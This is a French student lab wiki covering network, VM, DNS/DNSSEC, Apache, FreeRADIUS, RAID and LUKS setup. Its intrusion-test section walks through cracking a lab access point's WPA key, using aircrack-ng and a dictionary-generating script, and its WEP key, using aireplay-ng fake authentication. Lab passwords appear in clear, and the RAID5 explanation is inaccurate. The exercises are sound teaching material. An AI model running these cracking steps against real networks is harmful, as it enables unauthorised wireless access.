Finalement, il faut connecter le serveur Cordouan à notre réseau afin d'avoir du réseau sur nos futures VM. &lt;br /&gt;
&lt;br /&gt;
*'''Connexion Commutateur 6000 (E306) - Serveur Cordouan '''&lt;br /&gt;
&lt;br /&gt;
Le commutateur 6000 se trouvant dans la même salle que le serveur Cordouan, on peut relier ces derniers par cuivre. On relie alors le port 17 au serveur Cordouan par câble ethernet.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur Catalyst 3560 (E306) - Serveur Cordouan '''&lt;br /&gt;
&lt;br /&gt;
Ces deux appareils se trouvant dans deux salles différentes, la connexion ne peut se faire que par fibre. Cependant, nous ne disposons plus de convertisseur. Nous avons donc relié le serveur Cordouan au routeur de la E306 plutôt qu'au commutateur. Nous avons pour cela utilisé la fibre de code couleur BLEU. Nous connectons d'un côté la fibre au deuxième port Gigabit du routeur 3560, et de l'autre, la fibre au serveur Cordouan.&lt;br /&gt;
&lt;br /&gt;
===Connexion des commutateurs aux points d'accès===&lt;br /&gt;
&lt;br /&gt;
===Schéma résumant le câblage réalisé :===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:ArchitectureMehCret.png|1200px]]&lt;br /&gt;
&lt;br /&gt;
== 2.Installation des systèmes d'exploitation==&lt;br /&gt;
&lt;br /&gt;
===Création de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
Création d'une machine virtuelle sur cordouan.insecserv.deule.net :&lt;br /&gt;
&lt;br /&gt;
   xen-create-image --hostname=hercule --ip=193.48.57.183 --netmask=255.255.255.224 --gateway=193.48.57.160 --dir=/usr/local/xen&lt;br /&gt;
&lt;br /&gt;
Il fois la machine créée, on ajoute le bridge dans la config hercule.cfg&lt;br /&gt;
&lt;br /&gt;
  vif = ['ip=193.48.57.183 , mac=#####, bridge=StudentsInfo']&lt;br /&gt;
  xen create hercule.cfg&lt;br /&gt;
  &lt;br /&gt;
On vérifie que la machine est bien créée en s'y connectant :&lt;br /&gt;
&lt;br /&gt;
  xl console hercule&lt;br /&gt;
&lt;br /&gt;
Création des partitions logiques sur Cordouan pour la machine virtuelle :&lt;br /&gt;
   lvcreate -L 10G -n /dev/virtual/hercule-home -v&lt;br /&gt;
   lvcreate -L 10G -n /dev/virtual/hercule-var -v&lt;br /&gt;
    &lt;br /&gt;
Modification du fichier de configuration de la machine virtuelle pour prendre en compte ces volumes créés. Ajout des lignes : &lt;br /&gt;
   'phy:/dev/virtual/hercule-home,xvdb1,w',&lt;br /&gt;
   'phy:/dev/virtual/hercule-var,xvdb2,w'&lt;br /&gt;
&lt;br /&gt;
On relance la VM.&lt;br /&gt;
On formate les disques créés sur la machine :&lt;br /&gt;
   mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
   mkfs -t ext4 /dev/xvdb2&lt;br /&gt;
&lt;br /&gt;
Afin de lier le home de notre vm au disque créé précédemment, on modifie le fichier /etc/fstab en y ajoutant la ligne suivante :&lt;br /&gt;
   /dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
Puis on effectue le montage :&lt;br /&gt;
   mount -a &lt;br /&gt;
&lt;br /&gt;
Pour le var, il faut monter temporairement le disque pour ne pas occulter le repertoire : &lt;br /&gt;
   mount /dev/xvdb2 /mnt&lt;br /&gt;
&lt;br /&gt;
On déplace ensuite le contenu de var dans le point de montage précédemment créé :&lt;br /&gt;
   mv /var/* /mnt&lt;br /&gt;
&lt;br /&gt;
Finalement, on ajoute dans le fichier /etc/fstab la ligne suivante pour effectuer le montage permanent :&lt;br /&gt;
   /dev/xvdb2 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
On applique les modifications :&lt;br /&gt;
   mount -a&lt;br /&gt;
&lt;br /&gt;
==4.Services internet==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Achat du domaine hercule.pw sur gandi.&lt;br /&gt;
&lt;br /&gt;
Installation de bind9: &lt;br /&gt;
&lt;br /&gt;
   apt install bind9 bind9-host dnsutils&lt;br /&gt;
&lt;br /&gt;
Modification de la configuration de bind9 :&lt;br /&gt;
On créé un fichier de configuration de zone db.hercule.space dans /etc/bind/ avec le contenu suivant : &lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns.hercule.space. root.hercule.space (&lt;br /&gt;
 			3	; Serial&lt;br /&gt;
 			604800	; Refresh&lt;br /&gt;
 			86400	; Retry&lt;br /&gt;
 			2419200	; Expire&lt;br /&gt;
 			604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 	IN	NS	ns.hercule.space.&lt;br /&gt;
 	IN	NS	ns6.gandi.net&lt;br /&gt;
 @      IN      A       193.48.57.183&lt;br /&gt;
 ns	IN	A	193.48.57.183&lt;br /&gt;
 www	IN	A	193.48.57.183&lt;br /&gt;
&lt;br /&gt;
Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;hercule.space&amp;quot; {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.hercule.space&amp;quot;; &lt;br /&gt;
         allow-transfer {217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.&lt;br /&gt;
&lt;br /&gt;
Redémarrage du serveur bind9 :&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Ajout de glue records sur Gandi pour permettre l'association du serveur DNS créé avec notre adresse IP : &lt;br /&gt;
  name : ns.hercule.space&lt;br /&gt;
  IP address : 193.48.57.183&lt;br /&gt;
&lt;br /&gt;
Changement du nameserver principal sur Gandi (A FAIRE): &lt;br /&gt;
  DNS 1 : ns.hercule.space&lt;br /&gt;
&lt;br /&gt;
On laisse ceux de Gandi pour les deux serveurs esclaves&lt;br /&gt;
&lt;br /&gt;
ZONES INVERSES A FAIRE&lt;br /&gt;
&lt;br /&gt;
===DNSSEC===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on active DNSSEC en ajoutant dans le fichier /etc/bind/named la ligne :&lt;br /&gt;
   dnssec-enable yes;&lt;br /&gt;
&lt;br /&gt;
Création d'un répertoire de nom hercule.space.dnssec pour y générer les clefs&lt;br /&gt;
&lt;br /&gt;
Création de la clef asymétrique de signature de clefs de zone :&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 2048 -f KSK -r /dev/urandom -n ZONE hercule.space&lt;br /&gt;
 :&lt;br /&gt;
Création de  la clef asymétrique de la zone pour signer les enregistrements :&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE hercule.space&lt;br /&gt;
&lt;br /&gt;
On renomme ces clef : &lt;br /&gt;
  hercule.space-ksk.key&lt;br /&gt;
  hercule.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
Puis on les inclus dans le fichier /etc/bind/db.hercule.space&lt;br /&gt;
  $include /etc/bind/hercule.space.dnssec/hercule.space-ksk.key&lt;br /&gt;
  $include /etc/bind/hercule.space.dnssec/hercule.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
On signe les enregistrements de la zone :&lt;br /&gt;
  dnssec-signzone -o hercule.space -k hercule.space-ksk ../db.hercule.space hercule.space-zsk&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier named.conf.local pour utiliser la zone signée de suffixe .signed :&lt;br /&gt;
  file &amp;quot;/etc/bind/db.hercule.space.signed&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
On communique les parties publiques de la KSK et ZSK à Gandi dans l'onglet DNSSEC. On n'oublie pas également d'incrémenter le SERIAL dans le fichier db.hercule.space.&lt;br /&gt;
&lt;br /&gt;
===Serveur Apache===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du dossier /var/www/www.hercule.pw&lt;br /&gt;
&lt;br /&gt;
*''' Certification SSL :'''&lt;br /&gt;
&lt;br /&gt;
Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :&lt;br /&gt;
   openssl req -nodes -newkey rsa:2048 -sha256 -keyout hercule.pw.key -out hercule.pw.csr&lt;br /&gt;
&lt;br /&gt;
On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement. &lt;br /&gt;
&lt;br /&gt;
*'''Configuration Apache :'''&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur web dans le fichier /etc/apache2/sites-available/hercule.space.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:443&amp;gt;&lt;br /&gt;
                 ServerName www.hercule.space&lt;br /&gt;
                 ServerAlias hercule.space&lt;br /&gt;
                 DocumentRoot /var/www/html/&lt;br /&gt;
                 CustomLog /var/log/apache2/secure_acces.log combined&lt;br /&gt;
 &lt;br /&gt;
                 SSLEngine on&lt;br /&gt;
                 SSLCertificateFile /etc/ssl/certs/www.hercule.space.crt&lt;br /&gt;
                 SSLCertificateKeyFile /etc/ssl/private/hercule.space.key&lt;br /&gt;
                 SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
                 SSLVerifyClient None&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:80&amp;gt;&lt;br /&gt;
                 ServerName www.hercule.space&lt;br /&gt;
                 ServerAlias hercule.space&lt;br /&gt;
                 Redirect / https://www.hercule.space&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Modification du fichier ports.conf pour que le serveur web écoute sur le port 443 :&lt;br /&gt;
&lt;br /&gt;
  Listen 80 443&lt;br /&gt;
&lt;br /&gt;
On active enfin le module SSL, notre site, et on redémarre le service apache :&lt;br /&gt;
  a2enmod ssl&lt;br /&gt;
  a2ensite hercule.space.conf&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
===Serveur Freeradius===&lt;br /&gt;
&lt;br /&gt;
Installation de Freeradius sur la vm :&lt;br /&gt;
  apt-get install freeradius&lt;br /&gt;
&lt;br /&gt;
On ajoute ensuite un utilisateur au serveur freeradius. Pour cela, dans le fichier /etc/freeradius/3.0/users on ajoute : &lt;br /&gt;
  hercule Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Il nous est demandé de configurer le serveur en PEAP-MSCHAPv2. Pour cela, on modifie les fichiers : &lt;br /&gt;
&lt;br /&gt;
- /etc/freeradius/3.0/mods-enabled/eap :&lt;br /&gt;
  default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
- /etc/freeradius/3.0/mods-enabled/mschap :&lt;br /&gt;
  use_mppe = yes&lt;br /&gt;
  require_encryption = yes&lt;br /&gt;
  require_strong = yes&lt;br /&gt;
  with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On ajoute les points d'accès dans notre configuration de serveur (fichier : /etc/freeradius/3.0/clients.conf) :&lt;br /&gt;
  client 192.168.0.10/32 &lt;br /&gt;
  {&lt;br /&gt;
   secret = secretIMA5SC&lt;br /&gt;
   shortname = borneDivinite&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  client 192.168.0.11/32 &lt;br /&gt;
  {&lt;br /&gt;
   secret = secretIMA5SC&lt;br /&gt;
   shortname = borneDivinite&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On met à jour la configuration : &lt;br /&gt;
  ldconfig&lt;br /&gt;
&lt;br /&gt;
Et enfin, nous lançons le service freeradius :&lt;br /&gt;
  $ service freeradius restart&lt;br /&gt;
&lt;br /&gt;
Nous passons ensuite à la modification de la configuration des points d'accès afin qu'ils prennent en compte notre serveur freeradius :&lt;br /&gt;
&lt;br /&gt;
 enable&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 aaa new-model&lt;br /&gt;
 aaa authentication login eap_group17 group radius_group17&lt;br /&gt;
 aaa group server radius radius_group17&lt;br /&gt;
 server 193.48.57.183 auth-port 1812 acct-port 1813&lt;br /&gt;
 radius-server host 193.48.57.183 auth-port 1812 acct-port 1813 key secretIMA5SC&lt;br /&gt;
 end&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 dot11 ssid Hercule&lt;br /&gt;
 vlan 17&lt;br /&gt;
 authentication open eap eap_group17&lt;br /&gt;
 authentication network-eap eap_group17&lt;br /&gt;
 authentication key-management wpa&lt;br /&gt;
 Mbssid Guest-mode&lt;br /&gt;
 end&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 int dot11radio0&lt;br /&gt;
 Mbssid&lt;br /&gt;
 ssid Hercule&lt;br /&gt;
 encryption vlan 17 mode ciphers aes-ccm tkip&lt;br /&gt;
 end&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 int dot11radio0.17&lt;br /&gt;
 encapsulation dot1Q 17&lt;br /&gt;
 bridge-group 17&lt;br /&gt;
 end&lt;br /&gt;
&lt;br /&gt;
== 5. Tests d'intrusion ==&lt;br /&gt;
===Crackage de clé WPA===&lt;br /&gt;
&lt;br /&gt;
Afin de lancer le crackage de clé WPA sur le point d'accès cracotte07, nous avons besoin du package aircrack-ng que nous installons. Nous affichons ainsi nos interfaces avec la commande :&lt;br /&gt;
&lt;br /&gt;
 $ iwconfig&lt;br /&gt;
&lt;br /&gt;
Nous lançons alors airmon-ng avec notre interface wifi pour la mettre en mode moniteur:&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlp2s0&lt;br /&gt;
&lt;br /&gt;
Nous affichons ensuite tout les point d'accés environnants en utilisant la commande :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng  wlp2s0mon&lt;br /&gt;
&lt;br /&gt;
Nous capturons des paquets provenants de cracotte07 que nous enregistrons dans un fichier :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 9 --bssid 04:DA:d2:9C:50:56 -w ./path_to_folder/cracotte07 wlp2s0mon&lt;br /&gt;
&lt;br /&gt;
Une fois les fichiers générés, nous les transférons sur une ZABETH. Avant de lancer le craquage, nous devons générer un dictionnaire contenant toutes les combinaisons possibles de 8 chiffres. Pour cela, nous réalisons le script bash suivant :&lt;br /&gt;
&lt;br /&gt;
 #!/bin/bash&lt;br /&gt;
 charset=({0..9})&lt;br /&gt;
 permute(){&lt;br /&gt;
   (($1 == 0)) &amp;amp;&amp;amp; { echo &amp;quot;$2&amp;quot;; return; }&lt;br /&gt;
   for char in &amp;quot;${charset[@]}&amp;quot;&lt;br /&gt;
   do&lt;br /&gt;
     permute &amp;quot;$((${1} - 1 ))&amp;quot; &amp;quot;$2$char&amp;quot;&lt;br /&gt;
   done&lt;br /&gt;
 }&lt;br /&gt;
 permute &amp;quot;$1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Que nous laçons en exécutant :&lt;br /&gt;
&lt;br /&gt;
 $ ./comb.sh 8 &amp;gt;&amp;gt; dictionnaire.txt&lt;br /&gt;
&lt;br /&gt;
Le crack est effectué en lançant la commande :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -a2 -b 04:DA:D2:9C:50:56  -w /path_to_file/dictionnaire.txt /path_to_file/*.cap&lt;br /&gt;
&lt;br /&gt;
Nous récupérons la clé après quelques heures de calcul :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Crack groupe7.png|600px]]&lt;br /&gt;
&lt;br /&gt;
===Cassage de clé WEP===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous affichons ainsi nos interfaces avec la commande :&lt;br /&gt;
&lt;br /&gt;
 $ iwconfig&lt;br /&gt;
&lt;br /&gt;
Nous lançons alors airmon-ng avec notre interface wifi pour la mettre en mode moniteur:&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlx40a5ef012c92&lt;br /&gt;
&lt;br /&gt;
Nous affichons ensuite tout les point d'accés environnants protégés en WEP en utilisant la commande :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous capturons des paquets provenants de cracotte07 que nous enregistrons dans un fichier :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --channel 9 --bssid 04:DA:d2:9C:50:56 -w ./path_to_folder/cracotte07 wlan0mon&lt;br /&gt;
&lt;br /&gt;
En parallèle, on simule une connexion au point d'accès pour récupérer le handshake : &lt;br /&gt;
 $ aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
&lt;br /&gt;
On réalise le cassage : &lt;br /&gt;
 $ aircrack-ng ./path_to_folder/cracotte07.cap&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:cassagewep07.png|600px]]&lt;br /&gt;
&lt;br /&gt;
== 6. Réalisation ==&lt;br /&gt;
&lt;br /&gt;
===6.1 Sécurisation de données===&lt;br /&gt;
&lt;br /&gt;
Création de trois partitions LVM de 1Go sur Cordouan : &lt;br /&gt;
  lvcreate -L 1G -n /dev/virtual/hercule1 -v&lt;br /&gt;
  lvcreate -L 1G -n /dev/virtual/hercule2 -v&lt;br /&gt;
  lvcreate -L 1G -n /dev/virtual/hercule3 -v&lt;br /&gt;
&lt;br /&gt;
Modification du fichier de configuration de la machine virtuelle pour prendre en compte ces volumes créés. Ajout des lignes :&lt;br /&gt;
&lt;br /&gt;
  'phy:/dev/virtual/hercule1,xvdc1,w',&lt;br /&gt;
  'phy:/dev/virtual/hercule2,xvdc2,w',&lt;br /&gt;
  'phy:/dev/virtual/hercule3,xvdc3,w'&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Installation du paquetage mdadm pour réaliser le RAID5 logiciel :&lt;br /&gt;
  apt-get install mdadm&lt;br /&gt;
&lt;br /&gt;
Création du RAID5 :&lt;br /&gt;
  mdadm --create /dev/md0 --level=5 --assume-clean --raid-devices=3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3&lt;br /&gt;
&lt;br /&gt;
On formate le RAID créé : &lt;br /&gt;
  mkfs -t ext4 /dev/md0&lt;br /&gt;
&lt;br /&gt;
On monte le RAID dans notre VM : &lt;br /&gt;
  mount /dev/md0 /mnt &lt;br /&gt;
&lt;br /&gt;
On créé un fichier sur le RAID pour qu'il contienne des données. On ferme la VM et on lui retire la partition xvdc3 dans sa config.&lt;br /&gt;
On relance la VM. Puis on essaye de remonter le RAID : &lt;br /&gt;
En voulant remonter /dev/md0, un message nous indique que md0 n'existe pas. On lance alors la commande : &lt;br /&gt;
  cat /proc/mdstat&lt;br /&gt;
Et on s'aperçoit que notre RAID est toujours présent, cette fois n'ayant plus que deux disques, mais apparaît sous le nom md127. On monte alors ce derrnier : &lt;br /&gt;
  mount /dev/md127 /mnt&lt;br /&gt;
On retrouve alors bien le fichier créé initialement sur notre RAID. Lors de sa création, le fichier a été copié sur les 3 disques par le RAID. Ainsi, lorsque que nous avons supprimé un disque, cela n'a pas eu d'impact sur nos données.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Raidhercule.png|600px]]&lt;br /&gt;
&lt;br /&gt;
===6.2 Cryptage de données===&lt;br /&gt;
&lt;br /&gt;
Dans notre cas, nous n'utilisons pas une carte SD. Nous créons cependant une partition de 1 Giga sur cordouan sur laquelle on travaillera :&lt;br /&gt;
&lt;br /&gt;
 $ lvcreate -L 1G -n /dev/virtual/hercule-crypt -v&lt;br /&gt;
&lt;br /&gt;
Une fois cette action réalisée, et la partition intégrée au fichier de configuration de la machine virtuelle sous forme de volume, de nom xvdd1, nous récupérons les paquets lvm2 et cryptsetup.&lt;br /&gt;
Lorsque la récupération est terminée, nous sécurisons la partition de la manière suivante :&lt;br /&gt;
&lt;br /&gt;
 $ cryptsetup luksFormat -c aes -h sha256 /dev/xvdd1&lt;br /&gt;
&lt;br /&gt;
Cette commande permet de formater la partiton au type LUKS et chiffre en AES avec un algorithme de hashage SHA256. Nous choisissons une phrase de chiffrement.&lt;br /&gt;
&lt;br /&gt;
Une fois la partition chiffrée, nous ouvrons un volume dans notre partition chiffrée :&lt;br /&gt;
&lt;br /&gt;
 $ cryptsetup luksOpen /dev/xvdd1 home&lt;br /&gt;
&lt;br /&gt;
Nous la formatons en ext4 :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs -t ext4 /dev/mapper/home&lt;br /&gt;
&lt;br /&gt;
Enfin, nous montons la partition sous /mnt :&lt;br /&gt;
&lt;br /&gt;
 $ mount -t ext4 /dev/mapper/home /mnt&lt;br /&gt;
&lt;br /&gt;
Nous y créons ensuite un fichier texte. La suite de cette partie, qui est d'échanger les cartes SD, n'est pas réalisable dans notre cas.&lt;/div&gt;</summary>
		<author><name>Mcreteur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G7&amp;diff=49127</id>
		<title>TP sysres IMA5sc 2018/2019 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G7&amp;diff=49127"/>
				<updated>2018-12-21T18:01:04Z</updated>
		
		<summary type="html">&lt;p&gt;Mcreteur : /* 6.1 Cryptage de données */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Wiki de TP =&lt;br /&gt;
&lt;br /&gt;
=TP GIS=&lt;br /&gt;
&lt;br /&gt;
==Conteneurs &amp;quot;à la main&amp;quot;==&lt;br /&gt;
&lt;br /&gt;
===Mise en place des conteneurs===&lt;br /&gt;
&lt;br /&gt;
*'''Création d'une partition''':&lt;br /&gt;
   dd if=/dev/zero of=/disk1 bs=1024K count=10240&lt;br /&gt;
&lt;br /&gt;
*'''Formatage''' : &lt;br /&gt;
   mtfs.etx4 /disk1&lt;br /&gt;
&lt;br /&gt;
*'''Montage de la partition''':&lt;br /&gt;
   mount /disk1 /mnt&lt;br /&gt;
&lt;br /&gt;
*'''Installation d'un système Debian''':&lt;br /&gt;
   debootstrap --include=apache2,nano stable /mnt &lt;br /&gt;
&lt;br /&gt;
*'''Préparation du montage du pseudo système de fichier /proc''':&lt;br /&gt;
   echo &amp;quot;proc /proc proc defaults 0 0&amp;quot; &amp;gt;&amp;gt; rootfs/etc/fstab&lt;br /&gt;
&lt;br /&gt;
*''' Démontage ''':&lt;br /&gt;
   umount /mnt&lt;br /&gt;
&lt;br /&gt;
*'''Copie en 2 exemplaires''':&lt;br /&gt;
   cp /disk1 /disk2&lt;br /&gt;
   cp /disk1 /disk3&lt;br /&gt;
&lt;br /&gt;
*'''Montage des 3 partitions :'''&lt;br /&gt;
   mount -oloop /disk1 /mnt/dsk1&lt;br /&gt;
   mount -oloop /disk2 /mnt/dsk2&lt;br /&gt;
   mount -oloop /disk3 /mnt/dsk3&lt;br /&gt;
&lt;br /&gt;
*'''Création du processus isolé par unshare''':&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk1 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk2 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk3 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
&lt;br /&gt;
===Configuration réseau===&lt;br /&gt;
*'''Création d'un commutateur logiciel''':&lt;br /&gt;
    ip link add mehcret2 type bridge&lt;br /&gt;
&lt;br /&gt;
*'''Création des interfaces virtuelles:'''&lt;br /&gt;
    ip link add vif1 type veth peer name eth0@vif1&lt;br /&gt;
    ip link add vif2 type veth peer name eth0@vif2&lt;br /&gt;
    ip link add vif3 type veth peer name eth0@vif3&lt;br /&gt;
    ip link add vif4 type veth peer name eth1@vif4&lt;br /&gt;
&lt;br /&gt;
*'''Ajout d'interfaces dans le commutateur :'''&lt;br /&gt;
    ip link set vif1 master mehcret2&lt;br /&gt;
    ip link set vif2 master mehcret2&lt;br /&gt;
    ip link set vif3 master mehcret2&lt;br /&gt;
    ip link set vif4 master bridge&lt;br /&gt;
&lt;br /&gt;
*'''Activation des interfaces''':&lt;br /&gt;
    ip link set eth0 up&lt;br /&gt;
    ip link set eth1 up&lt;br /&gt;
&lt;br /&gt;
*'''Récupération du PID des conteneurs :'''&lt;br /&gt;
    ps auxwww | grep unshare&lt;br /&gt;
&lt;br /&gt;
*'''Ajout des interfaces dans les conteneurs :'''&lt;br /&gt;
    ip link set eth0@vif2 netns /proc/19382/ns/net name eth0 (dsk1)&lt;br /&gt;
    ip link set eth0@vif1 netns /proc/19377/ns/net name eth0 (dsk2)&lt;br /&gt;
    ip link set eth1@vif4 netns /proc/19377/ns/net name eth1 (dsk2)&lt;br /&gt;
    ip link set eth0@vif3 netns /proc/19396/ns/net name eth0 (dsk3)&lt;br /&gt;
&lt;br /&gt;
*'''Activation du pont:''' &lt;br /&gt;
    ip address add dev mehcret2 192.168.60.0/24&lt;br /&gt;
&lt;br /&gt;
*'''Attribution des adresses:'''&lt;br /&gt;
    ip address add dev eth0 192.168.60.51/24 (dsk1)&lt;br /&gt;
    ip address add dev eth0 192.168.60.52/24 (dsk2)&lt;br /&gt;
    ip address add dev eth0 192.168.60.53/24 (dsk3)&lt;br /&gt;
    ip address add dev eth1 172.26.145.67/24 (dsk2)&lt;br /&gt;
    ip route add default via 172.26.145.254 (dsk2)&lt;br /&gt;
&lt;br /&gt;
*'''Activation :'''&lt;br /&gt;
    ip link set eth0 up&lt;br /&gt;
    ip link set vif1 up&lt;br /&gt;
    ip link set vif2 up&lt;br /&gt;
    ip link set vif3 up&lt;br /&gt;
    ip link set vif4 up&lt;br /&gt;
    ip link set mehcret2 up&lt;br /&gt;
&lt;br /&gt;
On peut désormais pinger entre les différents conteneurs.&lt;br /&gt;
&lt;br /&gt;
===Configuration des serveurs Web===&lt;br /&gt;
&lt;br /&gt;
Nous devons maintenant mettre en place les serveurs apache.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on créé les sous-domaines dont nous avons besoin. Dans les enregistrements DNS du domaine '''plil.space''', on ajoute les enregistrements suivants : &lt;br /&gt;
&lt;br /&gt;
- mndtMehcret     A      172.26.145.67    (mndtMehcret sera le serveur mandataire. On le fait pointer sur l'adresse eth1 du conteneur 2)&lt;br /&gt;
&lt;br /&gt;
- web1Mehcret     CNAME  mndtMehcret      (Serveur web du conteneur 1)&lt;br /&gt;
&lt;br /&gt;
- web2Mehcret     CNAME  mndtMhecret      (Serveur web du conteneur 3)&lt;br /&gt;
&lt;br /&gt;
On configure ensuite les serveurs Apache. On attribue au premier serveur sur le conteneur 1 la configuration suivante dans le répertoire /etc/apache2/sites-available/ :&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName web1mehcret.plil.space&lt;br /&gt;
      Options Indexes FollowSymLinks&lt;br /&gt;
      DocumentRoot /var/www/html/web1mehcret/&lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt; &lt;br /&gt;
&lt;br /&gt;
On fait de même dans le conteneur 3 pour le serveur 2 en mettant les ServerName et Document root associés.&lt;br /&gt;
On écrit ensuite une page HTML basique dans les dossiers /var/www/html/web1mehcret/ et /var/www/html/web2mehcret/ afin de reconnaître notre serveur web. &lt;br /&gt;
&lt;br /&gt;
Il faut maintenant mettre en place le reverse proxy. &lt;br /&gt;
Dans le conteneur 2, connectée à la fois à eth0 et eth1, nous mettons en place la configuration suivante :&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName mndtMehcret.plil.space&lt;br /&gt;
      ProxyPass &amp;quot;/web1&amp;quot; &amp;quot;http://192.168.60.51/&amp;quot;&lt;br /&gt;
      ProxyPassReverse &amp;quot;/web1&amp;quot; &amp;quot;http://192.168.60.51/&amp;quot;&lt;br /&gt;
      ProxyPass &amp;quot;/web2&amp;quot; &amp;quot;http://&amp;quot;http://192.168.60.53/&amp;quot;&lt;br /&gt;
      ProxyPassReverse &amp;quot;/web2&amp;quot; &amp;quot;http://192.168.60.53/&amp;quot;&lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Les lignes ProxyPass et ProxyPassReverse permettent alors la redirection sur les serveurs web du conteneur 1 et 3.&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré les différents serveurs Apache, il faut redémarrer les services sur chaque conteneur :&lt;br /&gt;
&lt;br /&gt;
     $ service apache2 restart&lt;br /&gt;
&lt;br /&gt;
Pour utiliser apache en mode reverse proxy, on execute la commande :&lt;br /&gt;
&lt;br /&gt;
     $ a2enmod proxy proxy_http&lt;br /&gt;
&lt;br /&gt;
11h25 : Serveurs Web unshare OK&lt;br /&gt;
&lt;br /&gt;
==Conteneurs Docker==&lt;br /&gt;
 &lt;br /&gt;
Avant de lancer un conteneur, il faut modifier le fichier /etc/default/docker et commenter la ligne contenant iptables.&lt;br /&gt;
Nous exécutons ensuite la commande :&lt;br /&gt;
    $ iptables-save&lt;br /&gt;
Puis on redémarre le service Docker :&lt;br /&gt;
    $ service docker restart&lt;br /&gt;
&lt;br /&gt;
